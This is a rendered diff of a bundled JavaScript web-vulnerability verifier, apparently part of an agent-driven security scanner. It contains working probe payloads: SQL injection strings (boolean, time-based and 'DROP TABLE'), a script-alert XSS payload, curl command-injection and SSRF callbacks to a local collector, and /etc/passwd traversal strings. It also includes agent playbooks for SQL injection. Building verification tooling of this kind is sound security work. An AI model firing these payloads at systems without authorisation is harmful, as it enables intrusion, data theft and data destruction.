|
-
functionName: match[1],
|
|
57
|
-
file: match[2],
|
|
58
|
-
line: Number(match[3])
|
|
59
|
-
});
|
|
179
|
+
function pickInjectableParam(parsed) {
|
|
180
|
+
for (const [k, v] of Object.entries(parsed.params)) {
|
|
181
|
+
if (v && v.length > 0)
|
|
182
|
+
return { key: k, value: v };
|
|
60
183
|
}
|
|
61
|
-
|
|
184
|
+
const first = Object.keys(parsed.params)[0];
|
|
185
|
+
if (first)
|
|
186
|
+
return { key: first, value: parsed.params[first] ?? "" };
|
|
187
|
+
return null;
|
|
62
188
|
}
|
|
63
|
-
function
|
|
64
|
-
const
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
const
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
189
|
+
async function verifySqli(finding, target, context = {}) {
|
|
190
|
+
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
191
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
192
|
+
const victim = pickInjectableParam(parsed);
|
|
193
|
+
if (!victim)
|
|
194
|
+
return notVerifiable("no injectable parameter found in finding evidence");
|
|
195
|
+
const signals = [];
|
|
196
|
+
const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: victim.value })));
|
|
197
|
+
if (!baseline)
|
|
198
|
+
return notVerifiable("baseline request failed");
|
|
199
|
+
const trueProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=1-- -` })));
|
|
200
|
+
const falseProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=2-- -` })));
|
|
201
|
+
if (trueProbe && falseProbe && trueProbe.body.length > 0) {
|
|
202
|
+
const delta = Math.abs(trueProbe.body.length - falseProbe.body.length) / Math.max(trueProbe.body.length, 1);
|
|
203
|
+
if (delta > 0.1) {
|
|
204
|
+
signals.push(`boolean_diff: |true|=${trueProbe.body.length} |false|=${falseProbe.body.length} delta=${delta.toFixed(2)}`);
|
|
205
|
+
}
|
|
206
|
+
}
|
|
207
|
+
const timePayloads = [
|
|
208
|
+
`${victim.value}' AND SLEEP(3)-- -`,
|
|
209
|
+
`${victim.value}'; SELECT pg_sleep(3)-- -`,
|
|
210
|
+
`${victim.value}' AND (SELECT 1 FROM (SELECT SLEEP(3))a)-- -`
|
|
211
|
+
];
|
|
212
|
+
for (const payload of timePayloads) {
|
|
213
|
+
const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: payload })), 8e3);
|
|
214
|
+
if (probe && baseline.latencyMs < 500 && probe.latencyMs > 2500) {
|
|
215
|
+
signals.push(`time_based: baseline=${baseline.latencyMs}ms probe=${probe.latencyMs}ms`);
|
|
216
|
+
break;
|
|
217
|
+
}
|
|
218
|
+
}
|
|
219
|
+
const errProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}'` })));
|
|
220
|
+
if (errProbe) {
|
|
221
|
+
const err = detectSqlError(errProbe.body);
|
|
222
|
+
if (err)
|
|
223
|
+
signals.push(`sql_error: ${err}`);
|
|
224
|
+
}
|
|
225
|
+
if (signals.length >= 2) {
|
|
226
|
+
return verified(signals.join(" | "));
|
|
76
227
|
}
|
|
77
|
-
const allocMatch = text.match(/\b(\d+)-byte region\b/i);
|
|
78
|
-
const allocSize = allocMatch?.[1] ? Number(allocMatch[1]) : void 0;
|
|
79
228
|
return {
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
sourceFile,
|
|
85
|
-
sourceLine,
|
|
86
|
-
allocSize,
|
|
87
|
-
accessSize,
|
|
88
|
-
summary: text.split("\n").find((line) => line.includes("ERROR: AddressSanitizer"))?.trim() ?? kind,
|
|
89
|
-
frames
|
|
229
|
+
verified: false,
|
|
230
|
+
confidence: signals.length === 1 ? 0.4 : 0,
|
|
231
|
+
evidence: signals.join(" | "),
|
|
232
|
+
reason: signals.length === 1 ? `only 1/3 sqli signals fired: ${signals[0]}` : "no sqli signals fired"
|
|
90
233
|
};
|
|
91
234
|
}
|
|
92
|
-
function
|
|
93
|
-
const
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
235
|
+
async function verifyReflectedXss(finding, target, context = {}) {
|
|
236
|
+
const timedFetch = (url2, init2, timeoutMs) => fetchWithTimeout(url2, init2, timeoutMs, context);
|
|
237
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
238
|
+
const victim = pickInjectableParam(parsed);
|
|
239
|
+
if (!victim)
|
|
240
|
+
return notVerifiable("no injectable parameter found in finding evidence");
|
|
241
|
+
const token = `osec_${randomUUID().replace(/-/g, "")}`;
|
|
242
|
+
const payload = `<script>alert('${token}')</script>`;
|
|
243
|
+
const { url, init } = buildProbeRequest(parsed, {
|
|
244
|
+
[victim.key]: payload
|
|
245
|
+
});
|
|
246
|
+
const probe = await timedFetch(url, init);
|
|
247
|
+
const htmlReflected = !!probe && probe.body.includes(payload) && !probe.body.includes(`<script>alert('${token}')</script>`);
|
|
248
|
+
let playwright = null;
|
|
249
|
+
try {
|
|
250
|
+
playwright = await import("playwright");
|
|
251
|
+
} catch {
|
|
252
|
+
}
|
|
253
|
+
if (playwright) {
|
|
254
|
+
let browser = null;
|
|
255
|
+
try {
|
|
256
|
+
browser = await playwright.chromium.launch({ headless: true });
|
|
257
|
+
const page = await browser.newPage();
|
|
258
|
+
let dialogMessage = "";
|
|
259
|
+
page.on("dialog", async (dialog) => {
|
|
260
|
+
if (dialog.type() === "alert" && dialog.message() === token) {
|
|
261
|
+
dialogMessage = token;
|
|
262
|
+
}
|
|
263
|
+
await dialog.dismiss().catch(() => {
|
|
264
|
+
});
|
|
265
|
+
});
|
|
266
|
+
let replayed = false;
|
|
267
|
+
await page.route(context.fetch ? "**/*" : (candidate) => candidate.href === new URL(url).href, async (route) => {
|
|
268
|
+
const request = route.request();
|
|
269
|
+
const initial = !replayed && request.isNavigationRequest() && request.frame() === page.mainFrame();
|
|
270
|
+
if (initial)
|
|
271
|
+
replayed = true;
|
|
272
|
+
const replayInit = {
|
|
273
|
+
method: initial ? init.method : request.method(),
|
|
274
|
+
headers: initial ? init.headers : request.headers(),
|
|
275
|
+
body: initial ? init.body : request.postData(),
|
|
276
|
+
redirect: "manual"
|
|
277
|
+
};
|
|
278
|
+
if (context.fetch) {
|
|
279
|
+
try {
|
|
280
|
+
const response = await context.fetch(request.url(), replayInit);
|
|
281
|
+
const headers = Object.fromEntries(response.headers);
|
|
282
|
+
delete headers["content-encoding"];
|
|
283
|
+
delete headers["content-length"];
|
|
284
|
+
await route.fulfill({ status: response.status, headers, body: Buffer.from(await response.arrayBuffer()) });
|
|
285
|
+
} catch {
|
|
286
|
+
await route.abort();
|
|
287
|
+
}
|
|
288
|
+
} else if (initial) {
|
|
289
|
+
await route.continue({
|
|
290
|
+
method: init.method,
|
|
291
|
+
headers: { ...request.headers(), ...Object.fromEntries(new Headers(init.headers)) },
|
|
292
|
+
...typeof init.body === "string" ? { postData: init.body } : {}
|
|
293
|
+
});
|
|
294
|
+
} else {
|
|
295
|
+
await route.continue();
|
|
296
|
+
}
|
|
297
|
+
});
|
|
298
|
+
await page.goto(url, { timeout: 8e3, waitUntil: "domcontentloaded" });
|
|
299
|
+
await page.waitForTimeout(500);
|
|
300
|
+
await browser.close();
|
|
301
|
+
browser = null;
|
|
302
|
+
if (dialogMessage === token) {
|
|
303
|
+
return verified(`playwright dialog captured token=${token} message="${dialogMessage}"`);
|
|
304
|
+
}
|
|
305
|
+
} catch (err) {
|
|
306
|
+
if (browser)
|
|
307
|
+
await browser.close().catch(() => {
|
|
308
|
+
});
|
|
309
|
+
return {
|
|
310
|
+
verified: false,
|
|
311
|
+
confidence: htmlReflected ? 0.4 : 0,
|
|
312
|
+
evidence: htmlReflected ? `html_reflection: payload reflected in body` : "",
|
|
313
|
+
inconclusive: true,
|
|
314
|
+
reason: `playwright navigation failed: ${err.message}`
|
|
315
|
+
};
|
|
316
|
+
}
|
|
317
|
+
}
|
|
318
|
+
if (htmlReflected) {
|
|
319
|
+
return {
|
|
320
|
+
verified: false,
|
|
321
|
+
confidence: 0.5,
|
|
322
|
+
evidence: `html_reflection: payload reflected unencoded in response body`,
|
|
323
|
+
reason: "payload reflected but no alert dialog captured (playwright unavailable or dialog didn't fire)"
|
|
324
|
+
};
|
|
325
|
+
}
|
|
326
|
+
return notVerifiable("no xss reflection or alert captured");
|
|
327
|
+
}
|
|
328
|
+
async function withCollector(nonce, timeoutMs, work) {
|
|
329
|
+
const port = 8888 + Math.floor(Math.random() * 1e3);
|
|
330
|
+
let hit = false;
|
|
331
|
+
const server = createServer((req, res) => {
|
|
332
|
+
if ((req.url ?? "").includes(nonce))
|
|
333
|
+
hit = true;
|
|
334
|
+
res.writeHead(200);
|
|
335
|
+
res.end("ok");
|
|
336
|
+
});
|
|
337
|
+
await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
|
|
338
|
+
const collectorUrl = `http://127.0.0.1:${port}/${nonce}`;
|
|
339
|
+
const waitForHit = async () => {
|
|
340
|
+
const deadline = Date.now() + timeoutMs;
|
|
341
|
+
while (Date.now() < deadline) {
|
|
342
|
+
if (hit)
|
|
343
|
+
return true;
|
|
344
|
+
await new Promise((r) => setTimeout(r, 100));
|
|
345
|
+
}
|
|
346
|
+
return hit;
|
|
107
347
|
};
|
|
348
|
+
try {
|
|
349
|
+
return await work(collectorUrl, waitForHit);
|
|
350
|
+
} finally {
|
|
351
|
+
await new Promise((resolve) => server.close(() => resolve()));
|
|
352
|
+
}
|
|
108
353
|
}
|
|
109
|
-
function
|
|
110
|
-
const
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
354
|
+
async function verifySsrf(finding, target, context = {}) {
|
|
355
|
+
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
356
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
357
|
+
const victim = pickInjectableParam(parsed);
|
|
358
|
+
if (!victim)
|
|
359
|
+
return notVerifiable("no injectable parameter found in finding evidence");
|
|
360
|
+
const nonce = `ssrf${randomUUID().replace(/-/g, "").slice(0, 16)}`;
|
|
361
|
+
return withCollector(nonce, 6e3, async (collectorUrl, waitForHit) => {
|
|
362
|
+
const { url, init } = buildProbeRequest(parsed, {
|
|
363
|
+
[victim.key]: collectorUrl
|
|
364
|
+
});
|
|
365
|
+
const probe = await timedFetch(url, init, 8e3);
|
|
366
|
+
if (!probe)
|
|
367
|
+
return notVerifiable("ssrf probe failed to send");
|
|
368
|
+
const hit = await waitForHit();
|
|
369
|
+
if (hit) {
|
|
370
|
+
return verified(`collector hit: nonce=${nonce} path=/${nonce}`);
|
|
371
|
+
}
|
|
372
|
+
return {
|
|
373
|
+
verified: false,
|
|
374
|
+
confidence: 0,
|
|
375
|
+
evidence: "",
|
|
376
|
+
reason: `collector never received a request for nonce=${nonce}`
|
|
377
|
+
};
|
|
378
|
+
});
|
|
114
379
|
}
|
|
115
|
-
function
|
|
116
|
-
const
|
|
117
|
-
const
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
380
|
+
async function verifyRce(finding, target, context = {}) {
|
|
381
|
+
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
382
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
383
|
+
const victim = pickInjectableParam(parsed);
|
|
384
|
+
if (!victim)
|
|
385
|
+
return notVerifiable("no injectable parameter found in finding evidence");
|
|
386
|
+
const nonce = `rce${randomUUID().replace(/-/g, "").slice(0, 16)}`;
|
|
387
|
+
return withCollector(nonce, 8e3, async (collectorUrl, waitForHit) => {
|
|
388
|
+
const payloads = [
|
|
389
|
+
`${victim.value};curl ${collectorUrl}`,
|
|
390
|
+
`${victim.value}|curl ${collectorUrl}`,
|
|
391
|
+
`${victim.value}$(curl ${collectorUrl})`,
|
|
392
|
+
`${victim.value}\`curl ${collectorUrl}\``,
|
|
393
|
+
`${victim.value}&&curl ${collectorUrl}`
|
|
394
|
+
];
|
|
395
|
+
for (const payload of payloads) {
|
|
396
|
+
const { url, init } = buildProbeRequest(parsed, {
|
|
397
|
+
[victim.key]: payload
|
|
398
|
+
});
|
|
399
|
+
await timedFetch(url, init, 8e3);
|
|
400
|
+
}
|
|
401
|
+
const hit = await waitForHit();
|
|
402
|
+
if (hit)
|
|
403
|
+
return verified(`collector hit: nonce=${nonce}`);
|
|
404
|
+
return {
|
|
405
|
+
verified: false,
|
|
406
|
+
confidence: 0,
|
|
407
|
+
evidence: "",
|
|
408
|
+
reason: `collector never received a request for nonce=${nonce}`
|
|
409
|
+
};
|
|
410
|
+
});
|
|
411
|
+
}
|
|
412
|
+
var PASSWD_PATTERN = /root:x:0:0:|\/bin\/(bash|sh|dash)/;
|
|
413
|
+
async function verifyPathTraversal(finding, target, context = {}) {
|
|
414
|
+
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
415
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
416
|
+
const victim = pickInjectableParam(parsed);
|
|
417
|
+
if (!victim)
|
|
418
|
+
return notVerifiable("no injectable parameter found in finding evidence");
|
|
419
|
+
const payloads = [
|
|
420
|
+
"../../../../etc/passwd",
|
|
421
|
+
"..%2f..%2f..%2f..%2fetc%2fpasswd",
|
|
422
|
+
"..%252f..%252f..%252fetc%252fpasswd",
|
|
423
|
+
"../../../../etc/passwd%00",
|
|
424
|
+
"....//....//....//etc/passwd",
|
|
425
|
+
"/etc/passwd"
|
|
426
|
+
];
|
|
427
|
+
for (const payload of payloads) {
|
|
428
|
+
const { url, init } = buildProbeRequest(parsed, {
|
|
429
|
+
[victim.key]: payload
|
|
430
|
+
});
|
|
431
|
+
const probe = await timedFetch(url, init);
|
|
432
|
+
if (!probe)
|
|
433
|
+
continue;
|
|
434
|
+
const m = probe.body.match(PASSWD_PATTERN);
|
|
435
|
+
if (m) {
|
|
436
|
+
return verified(`payload=${payload} response contained "${m[0]}"`);
|
|
437
|
+
}
|
|
438
|
+
}
|
|
439
|
+
return notVerifiable("no /etc/passwd signature in any traversal probe response");
|
|
440
|
+
}
|
|
441
|
+
async function verifyIdor(finding, target, context = {}) {
|
|
442
|
+
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
443
|
+
const boundary = await context.verifyAccessControl?.(finding, target);
|
|
444
|
+
if (boundary)
|
|
445
|
+
return boundary;
|
|
446
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
447
|
+
if (parsed.method !== "GET")
|
|
448
|
+
return notVerifiable("read-only IDOR oracle requires GET; use an explicitly opted-in state-observing workflow for mutations");
|
|
449
|
+
let idKey = null;
|
|
450
|
+
let idValue = 0;
|
|
451
|
+
for (const [k, v] of Object.entries(parsed.params)) {
|
|
452
|
+
if (/^(id|uid|user_id|account_id|order_id|pid)$/i.test(k) && /^\d+$/.test(v)) {
|
|
453
|
+
idKey = k;
|
|
454
|
+
idValue = parseInt(v, 10);
|
|
455
|
+
break;
|
|
456
|
+
}
|
|
457
|
+
}
|
|
458
|
+
if (!idKey) {
|
|
459
|
+
for (const [k, v] of Object.entries(parsed.params)) {
|
|
460
|
+
if (/^\d+$/.test(v)) {
|
|
461
|
+
idKey = k;
|
|
462
|
+
idValue = parseInt(v, 10);
|
|
463
|
+
break;
|
|
464
|
+
}
|
|
465
|
+
}
|
|
466
|
+
}
|
|
467
|
+
if (!idKey)
|
|
468
|
+
return notVerifiable("no numeric id-like parameter to mutate");
|
|
469
|
+
const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: String(idValue) })));
|
|
470
|
+
if (!baseline)
|
|
471
|
+
return notVerifiable("baseline request failed");
|
|
472
|
+
const variants = [String(idValue + 1), String(Math.max(0, idValue - 1)), "0"];
|
|
473
|
+
const hits = [];
|
|
474
|
+
for (const variant of variants) {
|
|
475
|
+
if (variant === String(idValue))
|
|
476
|
+
continue;
|
|
477
|
+
const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: variant })));
|
|
478
|
+
if (!probe)
|
|
479
|
+
continue;
|
|
480
|
+
if (probe.status === 200 && probe.body.length > 0 && probe.body !== baseline.body) {
|
|
481
|
+
hits.push(`${idKey}=${variant} status=200 body_delta=${Math.abs(probe.body.length - baseline.body.length)}`);
|
|
482
|
+
}
|
|
483
|
+
}
|
|
484
|
+
if (hits.length > 0) {
|
|
485
|
+
return {
|
|
486
|
+
verified: false,
|
|
487
|
+
confidence: 0.7,
|
|
488
|
+
inconclusive: true,
|
|
489
|
+
evidence: `distinct responses on id mutation: ${hits.join(", ")}`,
|
|
490
|
+
reason: "distinct ID responses are a candidate only; identity and resource ownership were not established"
|
|
491
|
+
};
|
|
492
|
+
}
|
|
493
|
+
return notVerifiable("no distinct 200 response on id mutation");
|
|
494
|
+
}
|
|
495
|
+
async function verifyOracleByCategory(finding, target, context = {}) {
|
|
496
|
+
const category = finding.category;
|
|
497
|
+
switch (category) {
|
|
498
|
+
case "sql-injection":
|
|
499
|
+
return verifySqli(finding, target, context);
|
|
500
|
+
case "xss":
|
|
501
|
+
return verifyReflectedXss(finding, target, context);
|
|
502
|
+
case "ssrf":
|
|
503
|
+
return verifySsrf(finding, target, context);
|
|
504
|
+
case "command-injection":
|
|
505
|
+
case "code-injection":
|
|
506
|
+
return verifyRce(finding, target, context);
|
|
507
|
+
case "path-traversal":
|
|
508
|
+
return verifyPathTraversal(finding, target, context);
|
|
509
|
+
// Heuristic: "information-disclosure" findings referencing an id param
|
|
510
|
+
// look a lot like IDOR. We route them through the IDOR oracle as well.
|
|
511
|
+
case "information-disclosure":
|
|
512
|
+
return verifyIdor(finding, target, context);
|
|
513
|
+
default:
|
|
514
|
+
return {
|
|
515
|
+
verified: false,
|
|
516
|
+
confidence: 0,
|
|
517
|
+
evidence: "",
|
|
518
|
+
reason: `no oracle for category="${category}"`
|
|
519
|
+
};
|
|
520
|
+
}
|
|
128
521
|
}
|
|
129
522
|
|
|
130
|
-
// packages/core/dist/
|
|
131
|
-
var
|
|
132
|
-
|
|
133
|
-
-
|
|
134
|
-
-
|
|
135
|
-
-
|
|
136
|
-
-
|
|
137
|
-
-
|
|
138
|
-
-
|
|
139
|
-
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
1
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
252
|
-
|
|
253
|
-
|
|
254
|
-
- Null bytes: <scr%00ipt>alert(1)</script>
|
|
523
|
+
// packages/core/dist/review/sanitizer-log.js
|
|
524
|
+
var ASAN_CATEGORY_BY_KIND = {
|
|
525
|
+
"heap-use-after-free": "use-after-free",
|
|
526
|
+
"stack-use-after-return": "use-after-free",
|
|
527
|
+
"stack-use-after-scope": "use-after-free",
|
|
528
|
+
"double-free": "double-free",
|
|
529
|
+
"attempting-double-free": "double-free",
|
|
530
|
+
"stack-buffer-overflow": "stack-buffer-overflow",
|
|
531
|
+
"heap-buffer-overflow": "heap-overflow",
|
|
532
|
+
"global-buffer-overflow": "heap-overflow"
|
|
533
|
+
};
|
|
534
|
+
function categoryForAsan(kind, primitive) {
|
|
535
|
+
if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "read") {
|
|
536
|
+
return "out-of-bounds-read";
|
|
537
|
+
}
|
|
538
|
+
if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "write") {
|
|
539
|
+
return "out-of-bounds-write";
|
|
540
|
+
}
|
|
541
|
+
return ASAN_CATEGORY_BY_KIND[kind] ?? "other";
|
|
542
|
+
}
|
|
543
|
+
function categoryForUbsan(message) {
|
|
544
|
+
const lower = message.toLowerCase();
|
|
545
|
+
if (lower.includes("signed integer overflow") || lower.includes("unsigned integer overflow")) {
|
|
546
|
+
return { kind: "signed-integer-overflow", category: "integer-overflow" };
|
|
547
|
+
}
|
|
548
|
+
if (lower.includes("shift exponent") || lower.includes("shift base")) {
|
|
549
|
+
return { kind: "shift-exponent", category: "integer-overflow" };
|
|
550
|
+
}
|
|
551
|
+
if (lower.includes("float-cast-overflow") || lower.includes("outside the range of representable values")) {
|
|
552
|
+
return { kind: "float-cast-overflow", category: "integer-truncation" };
|
|
553
|
+
}
|
|
554
|
+
if (lower.includes("null pointer") || lower.includes("null-pointer")) {
|
|
555
|
+
return { kind: "null-pointer-use", category: "null-deref" };
|
|
556
|
+
}
|
|
557
|
+
return { kind: "undefined-behavior", category: "other" };
|
|
558
|
+
}
|
|
559
|
+
function parsePrimitive(text) {
|
|
560
|
+
const access = text.match(/\b(READ|WRITE) of size (\d+)/i);
|
|
561
|
+
if (!access)
|
|
562
|
+
return { primitive: "unknown" };
|
|
563
|
+
return {
|
|
564
|
+
primitive: access[1].toLowerCase(),
|
|
565
|
+
accessSize: Number(access[2])
|
|
566
|
+
};
|
|
567
|
+
}
|
|
568
|
+
function parseFrames(text) {
|
|
569
|
+
const frames = [];
|
|
570
|
+
const frameRegex = /^\s*#\d+\s+0x[0-9a-fA-F]+\s+in\s+(?:(\S+)\s+)?(.+?):(\d+)(?::\d+)?(?:\s|$)/gm;
|
|
571
|
+
let match;
|
|
572
|
+
while ((match = frameRegex.exec(text)) !== null) {
|
|
573
|
+
frames.push({
|
|
574
|
+
functionName: match[1],
|
|
575
|
+
file: match[2],
|
|
576
|
+
line: Number(match[3])
|
|
577
|
+
});
|
|
578
|
+
}
|
|
579
|
+
return frames;
|
|
580
|
+
}
|
|
581
|
+
function parseAsan(text) {
|
|
582
|
+
const header = text.match(/ERROR:\s*AddressSanitizer:\s*([a-z0-9-]+)/i);
|
|
583
|
+
if (!header?.[1])
|
|
584
|
+
return null;
|
|
585
|
+
const kind = header[1].toLowerCase();
|
|
586
|
+
const { primitive, accessSize } = parsePrimitive(text);
|
|
587
|
+
const frames = parseFrames(text);
|
|
588
|
+
let sourceFile = frames[0]?.file;
|
|
589
|
+
let sourceLine = frames[0]?.line;
|
|
590
|
+
const summary = text.match(/SUMMARY:\s*AddressSanitizer:\s*[a-z0-9-]+\s+(.+?):(\d+)(?::\d+)?/i);
|
|
591
|
+
if ((!sourceFile || !sourceLine) && summary?.[1] && summary?.[2]) {
|
|
592
|
+
sourceFile = summary[1];
|
|
593
|
+
sourceLine = Number(summary[2]);
|
|
594
|
+
}
|
|
595
|
+
const allocMatch = text.match(/\b(\d+)-byte region\b/i);
|
|
596
|
+
const allocSize = allocMatch?.[1] ? Number(allocMatch[1]) : void 0;
|
|
597
|
+
return {
|
|
598
|
+
sanitizer: "asan",
|
|
599
|
+
kind,
|
|
600
|
+
category: categoryForAsan(kind, primitive),
|
|
601
|
+
primitive,
|
|
602
|
+
sourceFile,
|
|
603
|
+
sourceLine,
|
|
604
|
+
allocSize,
|
|
605
|
+
accessSize,
|
|
606
|
+
summary: text.split("\n").find((line) => line.includes("ERROR: AddressSanitizer"))?.trim() ?? kind,
|
|
607
|
+
frames
|
|
608
|
+
};
|
|
609
|
+
}
|
|
610
|
+
function parseUbsan(text) {
|
|
611
|
+
const runtime = text.match(/^(.+?):(\d+):(?:(\d+):)?\s*runtime error:\s*(.+)$/m);
|
|
612
|
+
if (!runtime?.[1] || !runtime?.[2] || !runtime?.[4])
|
|
613
|
+
return null;
|
|
614
|
+
const details = runtime[4].trim();
|
|
615
|
+
const { kind, category } = categoryForUbsan(details);
|
|
616
|
+
return {
|
|
617
|
+
sanitizer: "ubsan",
|
|
618
|
+
kind,
|
|
619
|
+
category,
|
|
620
|
+
primitive: "unknown",
|
|
621
|
+
sourceFile: runtime[1],
|
|
622
|
+
sourceLine: Number(runtime[2]),
|
|
623
|
+
summary: details,
|
|
624
|
+
frames: []
|
|
625
|
+
};
|
|
626
|
+
}
|
|
627
|
+
function parseSanitizerLog(text) {
|
|
628
|
+
const trimmed = text.trim();
|
|
629
|
+
if (!trimmed)
|
|
630
|
+
return null;
|
|
631
|
+
return parseAsan(trimmed) ?? parseUbsan(trimmed);
|
|
632
|
+
}
|
|
633
|
+
function renderSanitizerVerdict(verdict) {
|
|
634
|
+
const loc = verdict.sourceFile ? `${verdict.sourceFile}${verdict.sourceLine ? `:${verdict.sourceLine}` : ""}` : "unknown location";
|
|
635
|
+
const sizes = [
|
|
636
|
+
verdict.accessSize !== void 0 ? `access=${verdict.accessSize}` : null,
|
|
637
|
+
verdict.allocSize !== void 0 ? `allocation=${verdict.allocSize}` : null
|
|
638
|
+
].filter(Boolean).join(", ");
|
|
639
|
+
return [
|
|
640
|
+
`${verdict.sanitizer.toUpperCase()} ${verdict.kind}`,
|
|
641
|
+
`category=${verdict.category}`,
|
|
642
|
+
`primitive=${verdict.primitive}`,
|
|
643
|
+
`source=${loc}`,
|
|
644
|
+
sizes || null
|
|
645
|
+
].filter(Boolean).join("; ");
|
|
646
|
+
}
|
|
255
647
|
|
|
256
|
-
|
|
257
|
-
|
|
258
|
-
|
|
259
|
-
-
|
|
648
|
+
// packages/core/dist/agent/playbooks.js
|
|
649
|
+
var PLAYBOOKS = {
|
|
650
|
+
sqli: `## SQLi Playbook
|
|
651
|
+
- Test all input fields with: ' OR 1=1--, " OR ""=", 1; DROP TABLE--
|
|
652
|
+
- Check for error-based: ' AND 1=CONVERT(int,@@version)--
|
|
653
|
+
- For blind: write Python timing script (see script templates)
|
|
654
|
+
- Enumerate: information_schema.tables, columns, then extract the minimum non-sensitive proof of unauthorized data access
|
|
655
|
+
- Try UNION SELECT with increasing column count
|
|
656
|
+
- Try different SQL dialects: MySQL (SLEEP), PostgreSQL (pg_sleep), SQLite (sqlite_version())
|
|
657
|
+
- If WAF blocks quotes, try: 1 OR 1=1, numeric injection without quotes`,
|
|
658
|
+
structural_sqli: `## Structural / JSON-Key SQLi Playbook (#774)
|
|
659
|
+
The injectable surface is a JSON KEY / field name concatenated into SQL (ORDER BY \${key}, SELECT \${key}, dynamic WHERE \${key}=?) \u2014 NOT a parameterised value. Value-fuzzing scanners miss this; the key is what's injected.
|
|
660
|
+
- Target keys that name columns: sort, sort_by, sortField, order, order_by, orderBy, column, field, group_by, columns[], filter[<key>].
|
|
661
|
+
- Tell in errors: "Unknown column '...'", 'column "..." does not exist', "Invalid column name", "no such column" \u2014 the server used your KEY as an identifier.
|
|
662
|
+
- Run the blind error-iteration loop (load the structural-sqli skill for the full algorithm):
|
|
663
|
+
1. Break: inject key with a trailing quote (name') \u2014 unbalances the statement, elicits a DB error that confirms the key reaches the parser.
|
|
664
|
+
2. Fingerprint the dialect from the error (MySQL "error in your SQL syntax" / Postgres "unterminated quoted string" / MSSQL "Unclosed quotation mark" / Oracle ORA-NNNNN / SQLite "unrecognized token").
|
|
665
|
+
3. Balance: re-close the quote + comment the tail with the DISCOVERED dialect's syntax (MySQL needs "-- " with a space \u2192 name'-- -). No error on the balanced key while the broken key errored \u21D2 structural SQLi confirmed.
|
|
666
|
+
- Prove with an ORDER BY boolean/error oracle (no quotes needed); extract minimal non-sensitive proof; save the finding WITH the ordered iteration trail.`,
|
|
667
|
+
